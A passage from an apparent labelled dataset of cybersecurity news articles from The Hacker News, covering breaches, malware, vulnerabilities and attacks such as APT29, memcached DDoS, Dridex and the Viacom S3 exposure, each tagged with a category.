This similarity in post-infection tradecraft with other SVR-sponsored attacks, including in the manner the adversary laterally moved through the networks to obtain access to email accounts, is said to have played a huge role in attributing the SolarWinds campaign to the Russian intelligence service, despite a notable departure in the method used to gain an initial foothold.
""Targeting cloud resources probably reduces the likelihood of detection by using compromised accounts or system misconfigurations to blend in with normal or unmonitored traffic in an environment not well defended, monitored, or understood by victim organizations,"" the agency noted.
Among some of the other tactics put to use by APT29 are password spraying (observed during a 2018 compromise of a large unnamed network), exploiting zero-day flaws against virtual private network appliances (such as CVE-2019-19781) to obtain network access, and deploying a Golang malware called WELLMESS to plunder intellectual property from multiple organizations involved in COVID-19 vaccine development.
Besides CVE-2019-19781, the threat actor is known to gain initial footholds into victim devices and networks by leveraging CVE-2018-13379, CVE-2019-9670, CVE-2019-11510, and CVE-2020-4006. Also in the mix is the practice of obtaining virtual private servers via false identities and cryptocurrencies, and relying on temporary VoIP telephone numbers and email accounts by making use of an anonymous email service called cock.li.
""The FBI and DHS recommend service providers strengthen their user validation and verification systems to prohibit misuse of their services,"" the advisory read, while also urging businesses to secure their networks from a compromise of trusted software.

",Cyber_Attack
Here's How to Decrypt Hydracrypt & Umbrecrypt Ransomware Files,https://thehackernews.com/2016/02/decrypt-ransomware-files.html,"Over the last few years, we have seen several types of Ransomware malware that demand a whopping amount of money from users for the retrieval of their locked, compromised sensitive files.

We have also witnessed the birth of decryption solution for some of the Ransomware like Cryptolocker (partial), Coinvault, Rescue Kit.

One more solution has recently been released for decryption of newly emerging ransomware, dubbed as Hydracrypt and Umbrecrypt that are propagated through Angler Exploit Kit.

Both of the malware belong to CrypBoss ransomware family.

The source code of CrypBoss Ransomware was leaked last year on Pastebin, which was later analyzed by Fabian Wosar, a security researcher at Emsisoft.

With the help of CrypBoss Source code, Wosar was successfully able to crack the encryption algorithm of the ransomware and quickly made the decryption tool for CrypBoss and its variants (Hydracrypt and Umbrecrypt).

It is found that both Hydracrypt and Umbrecrypt share the same genealogy which got traced back to CrypBoss Ransomware with small modifications in the implementation by its authors.
""Unfortunately the changes made by the HydraCrypt and UmbreCrypt authors cause up to 15 bytes at the end of the file to be damaged irrecoverably"" Wosar stated.
The damaged bytes in the encrypted files are trivial (in most of the cases) since it would be used as a buffer data or some trailing bytes, which could easily be re-build by using any file repairing tool (for those 15 bytes).

This doesn't affect much of the decryption process as 99 percent of the files are retrieved without any harm using the released decryptor tool that is available Free to download.

How to Decrypt Ransomware Files?
Double clicking the decryptor executable would initialize the decryption process, and you would get the key once the task gets completed. The time taken to crack the encryption would also depend upon your system's Flip-Flop power.

Once the decryption key is generated, it is better to save it as a hard copy (by writing down in the paper). Now you can run the decryptor tool and select the intended folders to get unlocked. Enter the key once the decryptor tool prompts for it.

To avoid a hotch-potch, users are advised to:
Run the decryptor for a small number of files initially to check whether the decryption procedure is being executed properly.
This would deliver the file ensurity and saves your time.
Make sure whether enough space is present in the hard-drive, so as to take place the decryption.

How to Ensure your Decrypted Data is Legit?
However, the security team also stated that the result of the Decryption might not be correct as the ransomware, unfortunately, does not leave any information about the original file behind.

To ensure the proper file recovery, initially you have to select the encrypted file along with its original version (somewhere in your cloud or anywhere) and pass it to the decryptor executable by a simple drag-and-drop.

[Note: If you haven't found such, then users can also get a random encrypted file and a random PNG image off the Internet.]

If the resultant output is legit, then you can carry out the same task with the remaining files. As the same algorithm is being followed in the remaining encrypted files, then you would get your files back as normal.

",Malware
15-Year-Old Schoolboy Posed as CIA Chief to Hack Highly Sensitive Information,https://thehackernews.com/2018/01/crackas-with-attitude-hacker.html,"Remember ""Crackas With Attitude""?

A notorious pro-Palestinian hacking group behind a series of embarrassing hacks against United States intelligence officials and leaked the personal details of 20,000 FBI agents, 9,000 Department of Homeland Security officers, and some number of DoJ staffers in 2015.

Believe or not, the leader of this hacking group was just 15-years-old when he used ""social engineering"" to impersonate CIA director and unauthorisedly access highly sensitive information from his Leicestershire home, revealed during a court hearing on Tuesday.

Kane Gamble, now 18-year-old, the British teenager hacker targeted then CIA director John Brennan, Director of National Intelligence James Clapper, Secretary of Homeland Security Jeh Johnson, FBI deputy director Mark Giuliano, as well as other senior FBI figures.

Between June 2015 and February 2016, Gamble posed as Brennan and tricked call centre and helpline staff into giving away broadband and cable passwords, using which the team also gained access to plans for intelligence operations in Afghanistan and Iran.

The teenager also taunted his victims and their families, released their personal details, bombarded them with calls and messages, downloaded and installed pornography onto their computers and took control of their iPads and TV screens.

He also made hoax calls to Brennan's home and took control of his wife's iPad.

At one point, Gamble also sent DHS secretary Johnson a photograph of his daughter and said he would f*** her, phoned his wife, leaving a voicemail message which said: ""Hi Spooky, am I scaring you?,"" and even managed to get the message ""I own you"" on the couple's home television.

Gamble was arrested in February 2016 at his council home in Coalville and last October he pleaded guilty to 8 charges of ""performing a function with intent to secure unauthorised access"" and 2 charges of ""unauthorised modification of computer material.""

Gamble said he targeted the US government because he was ""getting more and more annoyed about how corrupt and cold-blooded the US Government"" was and ""decided to do something about it.""

Gamble's defence said he was technically gifted but emotionally immature and has an autistic spectrum disorder, at the time of his offending, he had the mental development of a 12 or 13-year-old.

Also, the defence said, at no point did Gamble attempt to profit from his actions.

Out of 10 counts, Gamble previously admitted 8 charges of performing a function with intent to secure unauthorised access.

The teenager will be sentenced when the hearing resumes at a later date.

Two other members of Crackas With Attitude hacking group, Andrew Otto Boggs and Justin Gray Liverman, were arrested by FBI in September 2016 and had already been sentenced to five years in federal prison.

",Cyber_Attack
1.7 Tbps DDoS Attack — Memcached UDP Reflections Set New Record,https://thehackernews.com/2018/03/ddos-attack-memcached.html,"The bar has been raised.

As more amplified attacks were expected following the record-breaking 1.35 Tbps Github DDoS attack, someone has just set a new record after only four days — 1.7 Tbps DDoS attack.

Network security and monitoring company Arbor Networks claims that its ATLAS global traffic and DDoS threat data system have recorded a 1.7Tbps reflection/amplification attack against one of its unnamed US-based customer's website.

Similar to the last week's DDoS attack on GitHub, the massive bandwidth of the latest attack was amplified by a factor of 51,000 using thousands of misconfigured Memcached servers exposed on the Internet.

Memcached, a popular open source distributed memory caching system, came into news earlier last week when researchers detailed how attackers could abuse it to launch amplification DDoS attack by sending a forged request to the targeted Memcached server on port 11211 using a spoofed IP address that matches the victim's IP.

A few bytes of the request sent to the vulnerable server can trigger tens of thousands of times bigger response against the targeted IP address, resulting in a powerful DDoS attack.
Meanwhile, researchers also noted that cybercriminals have started weaponizing the DDoS attacks through vulnerable memcached servers to extort money from victims.

Following last week's 1.3 Tbps DDoS attack against GitHub, Akamai said its customers have been receiving extortion messages delivered alongside the typically ""junk-filled"" attack payloads, asking them for 50 XMR (Monero coins), valued at over $15,000.

""While the internet community is coming together to shut down access to the many open memcached servers out there, the sheer number of servers running memcached openly will make this a lasting vulnerability that attackers will exploit,"" Arbor Networks said in a blog post.

Reflection/amplification attacks are not new. Attackers have previously used reflection/amplification DDoS attack techniques to exploit flaws in DNS, NTP, SNMP, SSDP, CLDAP, Chargen and other protocols in an attempt to maximize the scale of their cyber attacks.

However, the latest attack vector involves thousands of misconfigured Memcached servers, many of which are still exposed on the Internet and could be exploited to launch potentially more massive attacks soon against other targets. So expect to see more such attacks in coming days.

To prevent Memcached servers from being abused as reflectors, we urge users to install a firewall that should provide access to memcached servers only from the local network.

Administrators should also consider avoiding external traffic to the ports used by memcached (for example 11211 port used by default), and block or rate-limiting UDP or completely disable UDP support if not in use.

",Cyber_Attack
Hacker Sentenced to 46 Months in Prison for Spreading Linux Malware,https://thehackernews.com/2017/08/linux-malware-hacking.html,"A Russian man accused of infecting tens of thousands of computer servers worldwide to generate millions in fraudulent payments has been imprisoned for 46 months (nearly four years) in a United States' federal prison.

41-year-old Maxim Senakh, of Velikii Novgorod, was arrested by Finnish police in August 2015 for his role in the development and maintenance of the infamous Linux botnet called Ebury that siphoned millions of dollars from victims worldwide.

Senakh was extradited to the United States in February 2016 to face charges and pleaded guilty in late March this year after admitting of creating a massive Ebury botnet and personally being profited from the scheme.

First spotted in 2011, Ebury is an SSH backdoor Trojan for Linux and Unix-style operating systems, such as FreeBSD or Solaris, which gives attackers full shell control of an infected machine remotely even if the password for affected user account is changed regularly.

Senakh and his associates used the malware to build an Ebury botnet network of thousands of compromised Linux systems, which had the capacity of sending over 35 million spam messages and redirecting more than 500,000 online visitors to exploit kits every day.
Senakh fraudulently generated millions of dollars in revenue running spam campaigns and committing advertising click frauds.
""Working within a massive criminal enterprise, Maxim Senakh helped create a sophisticated infrastructure that victimized thousands of Internet users across the world,"" said Acting U.S. Attorney Brooker.
""As society becomes more reliant on computers, cyber criminals like Senakh pose a serious threat. This Office, along with our law enforcement partners, is committed to detecting and prosecuting cyber criminals no matter where they reside.""
Ebury first came into headlines in 2011 after Donald Ryan Austin, 27, of El Portal, Florida, installed the Trojan on multiple servers owned by kernel.org and the Linux Foundation, which maintain and distribute the Linux operating system kernel.

Austin, with no connection to the Ebury criminal gang, was arrested in September last year and was charged with 4 counts of intentional transmission causing damage to a protected computer.
Senakh was facing up to a combined 30 years in prison, after pleading guilty to conspiracy to commit wire fraud as well as violate the Computer Fraud and Abuse Act.

However, a US judge on Thursday sentenced Senakh to 46 months in prison, the Department of Justice announced on Thursday. The case was investigated by the Federal Bureau of Investigation's field office in Minneapolis.

Senakh will be deported back to Russia following his release from the U.S. prison.

",Malware
"Worst Data Breach in German History, 18 Million Email Passwords Compromised",https://thehackernews.com/2014/04/worst-data-breach-in-german-history-18.html,"Germany has confirmed its biggest Data theft in the country's history with usernames and passwords of some 18 million email accounts stolen and compromised by hackers.

The Story broke by the German press, Der Spiegel on Thursday, when German Authorities revealed another mass hacking of private data belonged to German citizens and major Internet companies both in Germany and abroad.

16 MILLION AND NOW 18 MILLION
Authorities in the northwestern city of Verden unearthed a treasure of personal information, a list of about 18 million stolen email addresses and passwords, and seized it just after only two months from the previous major data breach, when researchers came across 16 million compromised email accounts of German users while conducting research on a botnet, a network of computers infected with malware.

The accounts were compromised by hackers in the mid of January, and Der Spiegel suggests that the same group of hackers is responsible for both thefts and that they may be based in one of the Baltic countries.

MILLION ON SPAM .. SHOP... THEFT
According to Investigators, some of the accounts are used to send spam emails and some combinations of email and password are used for online shopping portals, as these mass of stolen personal information could also be used to obtain the financial details of users account.

To help in securing the Internet users, German authorities warned to take additional security measures to prevent cyber criminals using their data while shopping online.

""It is suspected that these stolen records are being actively misused,"" said Lutz Gaebel, spokesman of the prosecutor's office in Verden.

SOURCE OF DATA
Till now, It has not been revealed by the investigators that how much they know about this massive data Breach and How the attackers get their evil hands on the personal data of over 18 million users. Lutz Gaebel declined to give more information due to the ongoing investigation.

It is estimated that at least three million of the accounts belonged to German citizens and some of the compromised email accounts have international domain extensions such as '.COM'. But in real, the number could be much larger than the visible one as the investigation is ongoing.

The German prosecutor investigating the latest major data theft informed the country's IT watchdog, Federal Office for Information Security (BSI), to introduce additional security measures to help the Internet users.

",Data_Breaches
Patch Tuesday: Microsoft Releases Update to Fix 53 Vulnerabilities,https://thehackernews.com/2017/11/microsoft-patch-tuesday.html,"It's Patch Tuesday—time to update your Windows devices.

Microsoft has released a large batch of security updates as part of its November Patch Tuesday in order to fix a total of 53 new security vulnerabilities in various Windows products, 19 of which rated as critical, 31 important and 3 moderate.

The vulnerabilities impact the Windows OS, Microsoft Office, Microsoft Edge, Internet Explorer, Microsoft Scripting Engine, .NET Core, and more.

At least four of these vulnerabilities that the tech giant has now fixed have public exploits, allowing attackers to exploit them easily. But fortunately, none of the four are being used in the wild, according to Gill Langston at security firm Qualys.

The four vulnerabilities with public exploits identified by Microsoft as CVE-2017-8700 (an information disclosure flaw in ASP.NET Core), CVE-2017-11827 (Microsoft browsers remote code execution), CVE-2017-11848 (Internet Explorer information disclosure) and CVE-2017-11883 (denial of service affecting ASP.NET Core).

Potentially Exploitable Security Vulnerabilities

What's interesting about this month's patch Tuesday is that none of the Windows OS patches are rated as Critical. However, Device Guard Security Feature Bypass Vulnerability (CVE-2017-11830) and Privilege Elevation flaw (CVE-2017-11847) are something you should focus on.

Also, according to an analysis of Patch Tuesday fixes by Zero-Day Initiative, CVE-2017-11830 and another flaw identified as CVE-2017-11877 can be exploited to spread malware.
""CVE-2017-11830 patches a Device Guard security feature bypass vulnerability that would allow malware authors to falsely authenticated files,"" Zero-Day Initiative said.

""CVE-2017-11877 fixes an Excel security feature bypass vulnerability that fails to enforce macro settings, which are often used by malware developers.""
The tech giant also fixed six remote code execution vulnerabilities exist ""in the way the scripting engine handles objects in memory in Microsoft browsers.""

Microsoft identified these vulnerabilities as CVE-2017-11836, CVE-2017-11837, CVE-2017-11838, CVE-2017-11839, CVE-2017-11871, and CVE-2017-11873, which could corrupt memory in such a way that attackers could execute malicious code in the context of the current user.
""In a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Microsoft Edge and then convince a user to view the website,"" Microsoft said. ""These websites could contain specially crafted content that could exploit the vulnerability.""
17-Year-Old MS Office Flaw Lets Hackers Install Malware

Also, you should be extra careful when opening files in MS Office.

All versions of Microsoft Office released in the past 17 years found vulnerable to remote code execution flaw (CVE-2017-11882) that works against all versions of Windows operating system, including the latest Microsoft Windows 10 Creators Update.

However, due to improper memory operations, the component fails to properly handle objects in the memory, corrupting it in such a way that the attacker could execute malicious code in the context of the logged-in user.

Exploitation of this vulnerability requires opening a specially crafted malicious file with an affected version of Microsoft Office or Microsoft WordPad software, which could allow attackers to remotely install malware on targeted computers.

Adobe Patch Tuesday: Patches 62 Vulnerabilities

Besides fixing vulnerabilities in its various products, Microsoft has also released updates for Adobe Flash Player.

These updates correspond with Adobe Update APSB17-33, which patches 62 CVEs for Acrobat and Reader alone. So, Flash Player users are advised to ensure that they update Adobe across their environment to stay protected.

It should also be noted that last Patch Tuesday, Microsoft quietly released the patch for the dangerous KRACK vulnerability (CVE-2017-13080) in the WPA2 wireless protocol.

Therefore, users are also recommended to make sure that they have patched their systems with the last month's security patches.

Alternatively, users are strongly advised to apply November security patches as soon as possible in order to keep hackers and cybercriminals away from taking control of their computers.

For installing security updates, just head on to Settings → Update & security → Windows Update → Check for updates, or you can install the updates manually.

",Vulnerability
Nintendo Switches Hacked to Run Linux—Unpatchable Exploit Released,https://thehackernews.com/2018/04/nintendo-switch-linux-hack.html,"Two separate teams of security researchers have published working proof-of-concept exploits for an unpatchable vulnerability in Nvidia's Tegra line of embedded processors that comes on all currently available Nintendo Switch consoles.

Dubbed Fusée Gelée and ShofEL2, the exploits lead to a coldboot execution hack that can be leveraged by device owners to install Linux, run unofficial games, custom firmware, and other unsigned code on Nintendo Switch consoles, which is typically not possible.

Both exploits take advantage of a buffer overflow vulnerability in the USB software stack of read-only boot instruction ROM (IROM/bootROM), allowing unauthenticated arbitrary code execution on the game console before any lock-out operations (that protect the chip's bootROM) take effect.

The buffer overflow vulnerability occurs when a device owner sends an ""excessive length"" argument to an incorrectly coded USB control procedure, which overflows a crucial direct memory access (DMA) buffer in the bootROM, eventually allowing data to be copied into the protected application stack and giving attackers the ability to execute code of their choice.
In other words, a user can overload a Direct Memory Access (DMA) buffer within the bootROM and then execute it to gain high-level access on the device before the security part of the boot process comes into play.
""This execution can then be used to exfiltrate secrets and to load arbitrary code onto the main CPU Complex (CCPLEX) application processors at the highest possible level of privilege (typically as the TrustZone Secure Monitor at PL3/EL3),"" hardware hacker Katherine Temkin of ReSwitched, who released Fusée Gelée, said.
However, the exploitation requires users to have physical access to the hardware console to force the Switch into USB recovery mode (RCM), which can simply be done by pressing and shorting out certain pins on the right Joy-Con connector, without actually opening the system.

By the way, fail0verflow said a simple piece of wire from the hardware store could be used to bridge Pin 10 and Pin 7 on the console's right Joy-Con connector, while Temkin suggested that simply exposing and bending the pins in question would also work.

Once done, you can connect the Switch to your computer using a cable (USB A → USB C) and then run any of the available exploits.

Fusée Gelée, released by Temkin, allows device owners only to display device data on the screen, while she promised to release more scripts and full technical details about exploiting Fusée Gelée on June 15, 2018, unless someone else made them public.

She is also working on customized Nintendo Switch firmware called Atmosphère, which can be installed via Fusée Gelée.
On the other hand, ShofEL2 exploit released by famous fail0verflow team allows users to install Linux on Nintendo Switches.
""We already caused temporary damage to one LCD panel with bad power sequencing code. Seriously, do not complain if something goes wrong,"" fail0verflow team warns.
Meanwhile, another team of hardware hackers Team Xecutor is also preparing to sell an easy-to-use consumer version of the exploit, which the team claims, will ""work on any Nintendo Switch console regardless of the currently installed firmware, and will be completely future proof.""

Nintendo Can't Fix the Vulnerability Using Firmware Update

The vulnerability is not just limited to the Nintendo Switch and affects Nvidia's entire line of Tegra X1 processors, according to Temkin.

""Fusée Gelée was responsibly disclosed to NVIDIA earlier, and forwarded to several vendors (including Nintendo) as a courtesy,"" Temkin says.

Since the bootROM component comes integrated into Tegra devices to control the device boot-up routine and all happens in Read-Only memory, the vulnerability cannot be patched by Nintendo with a simple software or firmware update.
""Since this bug is in the Boot ROM, it cannot be patched without a hardware revision, meaning all Switch units in existence today are vulnerable, forever,"" fail0verflow says. ""Nintendo can only patch Boot ROM bugs during the manufacturing process.""
So, it is possible for the company to address this issue in the future using some hardware modifications, but do not expect any fix for the Switches that you already own.

",Vulnerability
More than 250 iOS Apps Caught Using Private APIs to Collect Users' Private Data,https://thehackernews.com/2015/10/apple-ios-malware-apps.html,"Apple is cleaning up its iTunes App Store again – for the third time in two months – following another flood of iOS apps that secretly collect users' personal information.

Researchers discovered more than 250 iOS apps that were violating Apple's App Store privacy policy, gathering personal identifiable data from almost one Million users estimated to have downloaded those offending apps.

The offending iOS applications have been pulled out of the App Store after an analytics service SourceDNA reported the issue. After XcodeGhost, this is the second time when Apple is cleaning its App Store.

Malicious iOS Apps Stealing Users' Private Info

The malicious applications were developed using a third-party software development kit (SDK) provided by Youmi, a Chinese advertising company.

Once compiled and distributed on Apple's official App Store, those apps secretly accessed and stored users' personal information, including:
A list of apps installed on the victim's phone
Serial number of iPhones or iPads themselves when they run older versions of iOS
A list of hardware components on iPhones or iPads running newer versions of iOS along with the components' serial numbers
E-mail addresses associated with the users' Apple IDs

How iOS Malware Works?

Youmi's SDK makes use of private Application Programming Interfaces (APIs) to gather users' information that only Apple should be able to view.

The gathered information is then routed through Youmi's servers in China.

What's even More Bothersome?

The app developers who programmed those iOS applications aren't even aware of the fact that their apps are mining users' data.

Also Read: Popular Apple Store Apps Infected with Data-Theft Malware

The app makers that made use of Youmi's SDK may not have knowingly violated Apple's security and privacy guidelines.
""We believe the developers of these apps aren't aware of this since the SDK is delivered in binary form, obfuscated, and user info is uploaded to Youmi's server, not the app's,"" reads SourceDNA's blog post. ""We recommend developers stop using this SDK until this code is removed.""
Apple App Store Review Process Needs to be Stronger

However, the primary concern over here is that even after the discovery of XcodeGhost malware, Apple's App Store review process wasn't able to catch this malicious activity until being alerted by a third party.

It's still unclear how Youmi's SDK did not raise red flags at Apple.

Also Read: Apple Kicks Out some Malicious Ad-Blocker Apps from its Online Store

In an official statement Apple says all offended iOS apps relying on the Youmi's SDK have now been removed. The company is now working with its developers to ensure their applications is in compliance with the App Store guidelines:

We've identified a group of apps that are using a third-party advertising SDK, developed by Youmi, a mobile advertising provider, that uses private APIs to gather private information, such as user email addresses and device identifiers, and route data to its company server.

This is a violation of our security and privacy guidelines. The apps using Youmi's SDK have been removed from the App Store and any new apps submitted to the App Store using this SDK will be rejected. We are working closely with developers to help them get updated versions of their apps that are safe for customers and in compliance with our guidelines back in the App Store quickly.

",Malware
Dridex Banking Trojan Gains 'AtomBombing' Code Injection Ability to Evade Detection,https://thehackernews.com/2017/03/dridex-atombombing-malware.html,"Security researchers have discovered a new variant of Dridex – one of the most nefarious banking Trojans actively targeting financial sector – with a new, sophisticated code injection technique and evasive capabilities called ""AtomBombing.""

On Tuesday, Magal Baz, security researcher at Trusteer IBM disclosed new research, exposing the new Dridex version 4, which is the latest version of the infamous financial Trojan and its new capabilities.

Dridex is one of the most well-known Trojans that exhibits the typical behavior of monitoring a victim's traffic to bank sites by infiltrating victim PCs using macros embedded in Microsoft documents or via web injection attacks and then stealing online banking credentials and financial data.

However, by including AtomBombing capabilities, Dridex becomes the first ever malware sample to utilize such sophisticated code injection technique to evade detection.

What is ""AtomBombing"" Technique?

Code injection techniques by previous versions of Dridex Trojan have become too common and easy to spot by antivirus and other security solutions.

But since the AtomBombing technique is a different approach to code injection that does not rely on easy-to-detect API calls used by old Dridex versions, leveraging AtomBombing in the latest Dridex version made it difficult for antiviruses to detect.

Initially spotted in October by Tal Liberman from enSilo security firm, AtomBombing is a code injection technique that could allow attackers to inject malicious code on every version of Microsoft's Windows OS, even Windows 10, in a manner that no existing anti-malware tools can detect.

AtomBombing does not exploit any vulnerability but abuses the system-level Atom Tables, a feature of Windows that allows applications to store information on strings, objects, and other types of data to access on a regular basis.

An attacker can write malicious code into an atom table and trick legitimate applications into retrieving it from the table to execute malicious actions on nearly any Windows operating system released in the past 16 years.

Dridex Version 4 Discovered In the Wild

According to IBM X-Force researchers, the Dridex banking Trojan recently underwent a major version upgrade, now supporting AtomBombing.

But the malware author only went halfway which makes Dridex v4 different from other AtomBombing attacks — the attackers used ""the AtomBombing technique for the writing of the payload, then used a different method to achieve execution permissions, and for the execution itself.""
""The flow differs from the one described in the AtomBombing technique. To get the payload into an executable memory space, Dridex simply calls NtProtectVirtualMemory from the injecting process to change the memory where the payload is already written into RWX,"" X-Force researchers said.
Since using an APC call to the payload would have been very suspicious that could be detected and stopped, Dridex v4 uses ""the same GlobalGetAtomW method to patch GlobalGetAtomA, hooking it to execute the payload.""

Researchers said the new Dridex v4 is already in use in active campaigns against European banks, and it's only a matter of time before hackers begin targeting American financial institutions as well.

Antivirus software and security products can now implement their systems to track and prevent Dridex v4 attacks since the IBM's findings are available for all.

For a more detailed explanation and technical working of the latest version of Dridex Trojan, you can head on to IBM's blog post.

",Malware
GM Bot (Android Malware) Source Code Leaked Online,https://thehackernews.com/2016/02/android-malware-source-code.html,"The source code of a recently discovered Android banking Trojan that has the capability to gain administrator access on your smartphone and completely erase your phone's storage has been LEAKED online.

The banking Trojan family is known by several names; Security researchers from FireEye dubbed it SlemBunk, Symantec dubbed it Bankosy, and last week when Heimdal Security uncovered it, they dubbed it MazarBot.

All the above wave of Android banking Trojans originated from a common threat family, dubbed GM Bot, which IBM has been tracking since 2014.

GM Bot emerged on the Russian cybercrime underground forums, sold for $500 / €450, but it appears someone who bought the code leaked it on a forum in December 2015, the IBM X-Force team reported.

What is GM Bot and Why Should You Worry about it?

The recent version of GM Bot (dubbed MazarBOT) has the capability to display phishing pages on the top of mobile banking applications in an effort to trick Android users into handing over their financial credentials to the fraudsters.

Besides this, the banking trojan is also capable of forwarding phone calls and intercepting SMS messages to help fraudsters bypass an additional layer of bank security mechanisms, and locking a device's screen.

Cyber criminals could also use the malware to:
Spy on victims
Delete data from the infected device
Gain boot persistence to help survive device restart
Send and Read your SMS message
Make Calls to your contacts
Read the phone's state
Plague phone's control keys
Infect your Chrome browser
Change phone settings
Force the phone into sleep mode
Query the network status
Access the Internet
Wipe your device's storage (the most critical capabilities of the malware)
However, someone leaked the malware source code only to boost his/her reputation on an underground forum, according to the researchers.

GM Bot Android Malware Source Code for FREE

Yes, the source code for GM Bot and its control panel is now accessible to cybercriminals and fraudsters for FREE.

Here's the Cherry on the Top:

Besides the source code, the leader also posted a tutorial and instructions for server-side installation, which means cybercriminals can create their own versions of the malware strain to conduct online banking frauds.

Though the archive file containing the source code and its control panel is password protected, the leader is offering the password only to active forum members who is approaching him.
""Those who received the password, in turn, passed it on to other, unintended users, so the actual distribution of the code went well beyond that discussion board's member list,"" IBM cyber security evangelist Limor Kessem wrote in a blog post.
Online users had started sharing the password to the archive among their friends, and in no time, the GM Bot source code was all over the hacking underground forums.

GM Bot is one of the most dangerous banking trojan in the Android ecosystem and after its source code gets leaked, users are recommended to beware while banking online.

How to Protect Yourself?

As I previously mentioned, online users are advised to follow these steps in order to protect themselves against this kind of threat:
Never open attachments from unknown sources.
Never click on links in SMS or MMS messages sent to your phone.
Even if the email looks legit, go directly to the source website and verify any possible updates.
Go to Settings → Security → Turn OFF ""Allow installation of apps from sources other than the Play Store"" option.
Always keep an up-to-date Anti-virus app on your Android devices.
Avoid unknown and unsecured Wi-Fi hotspots and Keep your Wi-Fi turned OFF when not in use.

",Malware
Reliance Jio Customers' Data Allegedly Hacked – Company Denies Breach,https://thehackernews.com/2017/07/reliance-jio-data-breach.html,"Personal details of some 120 Million customers have been allegedly exposed on the Internet in probably the biggest breach of personal data ever in India.

Last night, an independent website named Magicapk.com went online, offering Reliance Jio customers to search for their identification data (Know Your Customer or KYC) just by typing in their Jio number.

Reliance set up the Jio 4G network across the length and breadth of India in September last year and gained more than 50 million subscribers within a span of just 83 days. The company gave seven months of free internet, unlimited calls, unlimited music to its subscribers.

Although the website that claimed to have hacked into Jio database is no longer accessible, many users confirmed their personal data showed up on the website, displaying their names, email addresses and most alarmingly, in some cases, Aadhaar numbers.

Aadhaar is a 12-digit unique identification number issued by the Indian government to every resident of India. This number is also used for enrolling for a SIM.

Company Denies Data Breach Before Investigation
In response to the breach, Reliance Jio released a statement, saying that the claims are unverified and that the leaked data appears to be ""unauthentic.""
""We have come across the unverified and unsubstantiated claims of the website and are investigating it. Prima facie, the data appears to be unauthentic,"" a spokesperson said.
""We want to assure our subscribers that their data is safe and maintained with highest security. Data is only shared with authorities as per their requirement.""
The Jio spokesperson said the company has ""informed law enforcement agencies about the claims of the website and will follow through to ensure strict action is taken.""

Breach Appears to be Authentic! But Doesn't Affect All JIO Users
The Hacker News independently verified the leak for a few Jio numbers, and the data came out to be accurate for some Jio numbers, but not for all.

Therefore, the data on the website seems to be authentic, but luckily some customers are spared--probably those who have been issued Jio SIM after the breach.

For obvious reasons, we are not naming the customers we tested on the website and found their identity leaked just by typing their mobile number. The leaked information includes:

First Name
Middle Name
Last Name
Mobile Number
Email-Id
Circle-Id
SIM Activation Date and Time
Aadhaar Number, in some cases

Mobile numbers for other telecom operators in India, such as Vodafone and Airtel, did not work on the website.

Hackers Identity is Unknown Yet

The website was hosted by the web hosting company GoDaddy.com and was registered in May 2017, but so far it is not clear who owned the domain.

Also, it is not clear at this moment that how the hackers got access to sensitive data of Jio customers and was it Jio who got hacked or some third-party marketing company with whom the company shared its customer's data.

Though there is very little victims (especially those who have exposed their Aadhaar number) can do to protect themselves from future attacks. Hackers holding their Aadhaar number can disguise their identities to carry out several frauds.

All Jio customers are highly recommended to be vigilant to unrequested calls asking for their further details or account passwords. No company asks for these details over phone calls or emails.

Victims should also particularly be alert of the Phishing emails, which are usually the next step of cyber criminals after a large-scale hack at any telecoms company. Phishing tricks users into giving up further personal details like passwords.

",Data_Breaches
Viacom Left Sensitive Data And Secret Access Key On Unsecured Amazon Server,https://thehackernews.com/2017/09/viacom-amazon-server.html,"Viacom—the popular entertainment and media company that owns Paramount Pictures, Comedy Central, MTV, and hundreds of other properties—has exposed the keys to its kingdom on an unsecured Amazon S3 server.

A security researcher working for California-based cyber resiliency firm UpGuard has recently discovered a wide-open, public-facing misconfigured Amazon Web Server S3 cloud storage bucket containing roughly a gigabyte's worth of credentials and configuration files for the backend of dozens of Viacom properties.

These exposed credentials discovered by UpGuard researcher Chris Vickery would have been enough for hackers to take down Viacom's internal IT infrastructure and internet presence, allowing them to access cloud servers belonging to MTV, Paramount Pictures and Nickelodeon.

Among the data exposed in the leak was Viacom's master key to its Amazon Web Services account, and the credentials required to build and maintain Viacom servers across its many subsidiaries and dozens of brands.
""Perhaps most damaging among the exposed data are Viacom's secret cloud keys, an exposure that, in the most damaging circumstances, could put the international media conglomerate's cloud-based servers in the hands of hackers,"" an UpGuard blog post says.
""Such a scenario could enable malicious actors to launch a host of damaging attacks, using the IT infrastructure of one of the world's largest broadcast and media companies.""
In other words, the access key and secret key for the company's AWS account would have allowed hackers to compromise Viacom's servers, storage, and databases under the AWS account.
According to the analysis performed by UpGuard, a number of cloud instances used within the media company's IT toolchain, including Docker, Splunk, New Relic, and Jenkins, could have ""thus been compromised in this manner.""

In addition to these damaging leaks, the unprotected server also contained GPG decryption keys, which can be used to unlock sensitive data. However, the server did not contain any customer or employee information.

Although it is unclear whether hackers were able to exploit this information to access important files belonging to Viacom and the firms it owns, the media giant said there's no evidence anyone had abused its data.
""We have analyzed the data in question and determined there was no material impact,"" the company said in a statement.

""Once Viacom became aware that information on a server—including technical information, but no employee or customer information—was publicly accessible, we rectified the issue.""
All the credentials have now been changed after UpGuard contacted Viacom executives privately, and the server was secured shortly afterwards.

This is not the first time when Vickery has discovered a company's sensitive information stored on an unprotected AWS C3 server.

Vickery has previously tracked down many exposed datasets on the Internet, including personal details of over 14 million Verizon customers, a cache of 60,000 documents from a US military, information of over 191 Million US voter records, and 13 Million MacKeeper users.

",Data_Breaches
Microsoft Hacking Code leaked from security info-sharing program,https://thehackernews.com/2012/03/microsoft-hacking-code-leaked-from.html,"Microsoft Hacking Code leaked from security info-sharing program

Microsoft on Friday confirmed that sample attack code created by the company had likely leaked to hackers from a program it runs with antivirus vendors. Code that was submitted to Microsoft last year to demonstrate a serious exploit in Windows has somehow made it into the wild, either through Redmond itself or one of its security partners. The exploit targets a vulnerability in Windows' remote desktop protocol, giving an attacker full control over a system and the ability to easily spread to other machines with remote desktop enabled.

Security researchers raised alarms when a working exploit for the flaw was spotted in China shortly after the release, leading many to believe that malware writers were able to breach the Microsoft Active Protections Program security platform.

""The details of the proof-of-concept code appear to match the vulnerability information shared with Microsoft Active Protections Program partners,"" said Yunsun Wee, Microsoft's director of its Trustworthy Computing effort.

